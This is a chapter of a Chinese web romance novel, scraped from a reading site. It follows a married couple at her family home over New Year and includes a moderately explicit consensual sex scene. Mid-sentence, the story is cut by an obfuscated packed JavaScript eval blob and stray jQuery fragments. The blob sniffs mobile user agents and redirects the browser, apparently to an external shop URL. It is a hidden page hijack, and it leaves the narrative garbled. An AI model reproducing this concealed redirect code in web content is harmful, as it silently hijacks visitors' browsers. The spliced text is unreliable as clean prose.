默认冷灰
24号文字
方正启体

7. 第 7 章

作者:宋芙年本书字数:K更新时间:
    祝绾栀在吹风机的嗡鸣声中抬起头,想反驳,但对上他那双仿佛能把人看穿的眼睛,话到嘴边又咽了回去。


    因为他说的是对的。


    她可以对着父母和弟弟摆出冷脸,可以逼着他们写欠条,可如果有一天祝盛辉真的走投无路,她做不到袖手旁观。


    她嘴唇动了动,像是想要证明自己其实有所长进,轻声说:“可是我今天就拒绝了我弟让我帮他出30万彩礼钱的要求,我还让他写了借条。”


    贺敬琛挑了挑眉,有些意外:“是吗?”


    “当然。”她把脸贴进他的腹部,闷闷地说,“我不会再像以前那样了,他要结婚、要买房、要养孩子,难道都要我来替他兜底吗?我又不是他妈,反正家里的房子也给他们盖上了,以后除了我爸妈生病,我不会再接济家里一分钱。”


    贺敬琛把她的话认真听进去,揉了揉她的发顶笑道:“看来我老婆在思想上已经彻底觉悟了。”


    “那当然,”她直起身子,故作严肃道,“从前的祝招弟已经死了,现在的我,是钮祜禄·绾栀。”


    贺敬琛难得看见她放松的一面,抚摸着她的脸笑了起来。


    外面的烟花声不绝于耳,三线城市唯一的好处就是年味重,农村还不全面禁止烟花爆竹的燃放。


    两口子在窗边欣赏了一会儿漫天的烟花,祝绾栀低下头,看见祝军拿了一挂鞭炮出来,被吓得立马便关了窗户。


    一阵噼里啪啦声后,祝绾栀一脸疲惫地躺在床上双手朝上伸了个懒腰:“好累啊。”


    一个懒腰下来,祝绾栀只觉得全身的筋骨都舒展开来,她睁开眼睛,发现贺敬琛不知什么时候已经倾身压了上来,一只手还按住了自己举过头顶的双手。


    已经是“老夫老妻”了,她自然明白这人想干嘛,却还是一脸娇羞地问了一句:“干嘛。”


    “本来没想干嘛的——”他嗓音低沉,带着几分玩弄和挑逗,“可是你弟莫名其妙把房间布置得这么红火,让我突然有点想跟你……洞房花烛了。”


    “那是因为……”祝绾栀还未把话说出口,贺敬琛的吻便已经落了下来。


    唇齿相触的瞬间,祝绾栀可以闻到对方身上淡淡的酒味。刚才年夜饭上他陪祝军喝了几杯白酒,此刻全化作滚烫的温度渡了过来。


    这个吻不像从前那样温柔克制,反而带着几分压抑许久后的蛮横。贺敬琛一手按住她交叠在头顶的手腕,一只手探到她的腰后向上,指尖灵活地解开了扣子。


    “贺敬琛——”祝绾栀偏过头喘息,声音却软得不像话。


    窗外的烟花爆竹声还没停,红色的火光透过窗帘印在房间里,忽明忽暗地落在男人硬朗的侧脸上。


    他逆着光,眼底像是烧着什么。


    片刻后,他轻轻去咬她的耳朵,语气因克制而格外低沉:“怎么总是连名带姓的叫我?”


    祝绾栀睫毛轻轻颤动着,想要挣脱,双手却被他死死压住:“你能不能忍一下?”


    她咽了一下口水,语气带着些许恳求:“我爸妈随时可能上来。”


    贺敬琛没理会她的这句恳求,反而将她的手腕攥得更紧,食指扣进她的指缝间,压在枕头两侧。


    密密麻麻的吻落在她敏感的脖颈处,然后慢慢移到唇角,声音带着几分恶劣的挑逗:“那你小声点。”


    睡衣扣子不知何时已经被他尽数解下,祝绾栀咬着唇,把即将溢出的声音吞了回去,紧张地竖起耳朵听着门外的动静。


    果然,怕什么来什么。


    两人正处于水火之间,门口突然传来母亲白桂芬的声音。


    外面的烟花炮竹声太响,她不太能听清楚母亲在说什么,似乎是在问他们屋里的被子够不够暖和?


    见没人应答,白桂芬直接在外面拧了下门把手。


    祝绾栀整个人紧张到发抖,她从小到大在家里几乎没有任何隐私可言,家里人总是会不知分寸地随意甚至带人进入她的房间。


    哪怕现在她结婚了,父母依旧没有改掉这个坏习惯,对自己的房间想进就进。


    看着被疯狂拧动的门把手,祝绾栀生怕下一秒门就被打开,忙用眼神示意男人停下,偏偏贺敬琛却像没看见似的,还她最生死存亡的一瞬间恶劣地将身子猛地一沉。


    她被吓得惊呼一声,又很快将巨大的声响咽了回去,刺激和紧张交织在她心口,忍不住将指甲掐入他后背的肌肉里。


    贺敬琛额角的青筋跳了跳,俯下身轻轻咬住她的肩膀,声音哑得几乎听不清:“放松点宝宝,我锁门了。”


    听到这句如同救命稻草的话,祝绾栀总算得以放松,开始大口大口地喘息着,却还是不敢发出太大的声音。


    她刚要说话,男人却突然坏笑着将手掌放在了她的嘴上,并猛地加速。


    祝绾栀只觉得自己快被这人弄死了,门把手转动的声音突然停止了,然后是母亲渐行渐远的脚步声和窗外不绝于耳的烟花。


    直到两人都攀上顶点,男人终于松开手,他看了一眼祝绾栀脸上依旧惊魂未定的神情,将脑袋埋进她的肩窝里低低笑了起来。


    那笑声,分明带着几分得逞。


    他没有抬头,只是伸出一只手安抚似的去摸她的脸:“在自己家,干嘛弄得跟偷qing一样?”


    见身下的女人始终一言不发,贺敬琛终于抬起头去看她的脸:“怎么?生气了?”


    祝绾栀意识逐渐回笼,看着面前这张又爱又恨的脸,抬起无力的手往他肩上来了一拳,语气不满地嘟囔:“走开。”


    五分钟后,祝绾栀一张脸埋进他的肩颈处,整个人依旧是气鼓鼓的。


    贺敬琛嘴上哄着,一只手轻轻拍着她的后背,还用脚趾去挠她的脚心,试图让她消气,却被祝绾栀无情地踢开,甚至张嘴咬了他的肩膀。


    他没吭声,因为知道媳妇儿舍不得真咬。


    “好了,别生气了,一会儿闷死了。”他伸手轻轻推了推她的肩膀,声音很软,明显是哄人的语气。


    祝绾栀依旧不肯抬头,抱怨的话从被窝里闷闷地传出来:“你明明知道我爸妈没有分寸感,我都那么害怕了你还那样!”


    贺敬琛放低姿态,小声哄着:“我不是说了我锁门了。”


    祝绾栀在被窝里踢了他一脚:“你没提前告诉我!”


    “那我下次提前告诉你?”他油嘴滑舌,在她耳边小声说,“其实你喊出来也没事,外面烟花那么响,爸妈根本就听不见。”


    这话说完,贺敬琛又挨了她一脚,然后是她威胁的话语:“你这一个月都不许碰我!”


    “别那么残忍!”听到这话,男人立马开始撒娇,“非要惩罚的话,咱换成86400秒行不行?比一个月听起来长多了。”


    “滚!!!”


    贺敬琛无奈了,搂着媳妇儿换了个思路继续哄:“媳妇儿我给你讲个笑话,你要是笑了就不生气好吗?”


    他清了清嗓子,然后说:“你知道小明为什么放屁声音很大吗?”


    祝绾栀缓缓从他怀里抬起头,表情疑惑:“为什么?”


    贺敬琛低头和她对视,沉思片刻后答道:“因为……他穿了喇叭裤哈哈哈哈。”


    祝绾栀:“……”


    贺敬琛:“不好笑吗?”


    两人对视几秒,祝绾栀一脸冷漠地开口:“不好笑,冷死了。”


    他伸手把人拉进怀里:“冷?那我抱着你就不冷了。”


    祝绾栀软绵绵地挣脱:“不要,走开。”


    贺敬琛梅开二度,继续说:“没关系,我再讲一个,这个一定好笑,你知道……一朵花为什么好笑吗?”


    祝绾栀这会气早已消了大半,窝在他怀里软绵绵地开口:“为什么?”


    “因为……它有梗啊哈哈哈哈。”


    “?”祝绾栀板着张脸愣了好几秒,这个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525708|203484||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    笑话于她而言依旧不好笑,可她最后却败给了贺敬琛那富有感染力的笑声上。


    她有时候都想不明白,好好一个帅哥,笑点怎么可以这么低。


    不管自己在他面前讲什么笑话,他都会一秒破功。


    而他笑点低给自己带来的好处就是:两口子每次闹矛盾的时候,贺敬琛总是特别好哄。


    她无语到失笑:“什么啊,这算什么笑话。”


    “可是你笑了,所以……”贺敬琛低下头,眉眼弯弯地看着她,凑上前在她脸上亲了一口,“惩罚是不是可以作废了?”


    “不可以。”她一秒收回自己上扬的嘴角,态度严肃地翻了个身,“说好了一个月,少一天都不行。”


    贺敬琛下巴抵着她的肩,努力给自己争取“减刑”机会:“念在我是初犯的份上,能不能给我一个满30-29的机会?”


    祝绾栀:“……不能!”


    谁家“砍价”像他这么砍,不挨打就怪了。


    “那换成84600秒行不?”


    “你是不是认为我数学不好?”


    “老婆……”


    “我听不见。”


    ……


    翌日,大年初一,祝绾栀是被外面的噼里啪啦的鞭炮声吵醒的。


    她迷迷糊糊翻了个身,贺敬琛搂着她,丝毫不受鞭炮声的影响,睡得那叫一个香甜。


    她眨了一下眼睛,没有叫醒他,安静地欣赏起丈夫被女娲精雕细琢的盛世容颜。


    男人骨相极好,鼻梁高挺,眉骨高到甚至可以遮挡阳光,睫毛长而浓密。


    她至今还记得,第一次在芙宜看见他的样子。


    那天,他走路带风,不慎撞翻了季璇给她的奶茶和蛋糕,她那天心情不好,本来想发脾气的,可一抬头,看见那张俊美无俦的脸后,心里的怒气突然消了大半。


    那是她18年人生中见过最好看的一张脸,她甚至以为他是明星,毕竟,当时的芙宜几乎走两步路就能碰见一个明星的地方。


    男人主动跟她道歉,并提出赔偿,而她的一颗心,也是在那时沦陷,不到一个月便被对方彻底拿下,最后将自己的整颗心都交付给他。


    十八岁,与她而言,既是不幸的,也是幸运的。不幸的是,她被迫斩断了自己的大学梦,幸运的是,她做了人生中最勇敢的两件事,从瑜理那座小县城走到芙宜参加选秀节目,并勇敢接受了他的示好。


    现在想想,自己当初还真是见色起意,“肤浅”地可以。


    祝绾栀看着看着,忍不住伸出一根手指,轻轻抚上他鼻梁处还未消下的那条青痕。


    长得帅就是好,连伤口在他脸上都增添了一丝战损的凄美。


    她突然就get到了“丈夫的容貌,妻子的荣誉”这句话。


    思及此,她凑近他,在他唇上轻轻啄了一下,小声说:“起床了。”


    贺敬琛睫毛动了动,没有睁眼,只是迷迷糊糊地把人往自己怀里带了带:“好困,再睡一会儿。”


    祝绾栀手指似有若无地擦过他的锁骨,声音温柔地像在哄一个赖床的孩子:“都7点了,说好了今天要陪妈妈去寺里上香,而且外面鞭炮声那么响,你怎么还睡得着?”


    男人断断续续地开口:“可是我真的好困。”


    她轻轻皱了下眉,知道他这段时间工作很辛苦,却还是使坏:“你是不是昨晚累着了?”


    言毕,她又故作可惜道:“也是,小说和偶像剧里男女主酱酱酿酿以后,通常都是男主先醒的,你不会肾透支了吧?”


    闻言,男人像是听见了什么惊天笑话似的猛地睁开眼,一下从床上爬了起来:“什么肾透支?你在开什么玩笑?大年初一想赖个床而已,别诽谤你老公,我衣服呢……”


    祝绾栀看着他那副着急忙慌的样子,忍不住在床上笑得花枝招展。


    男人在面对那方面的问题,还真是出奇的敏感呢。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)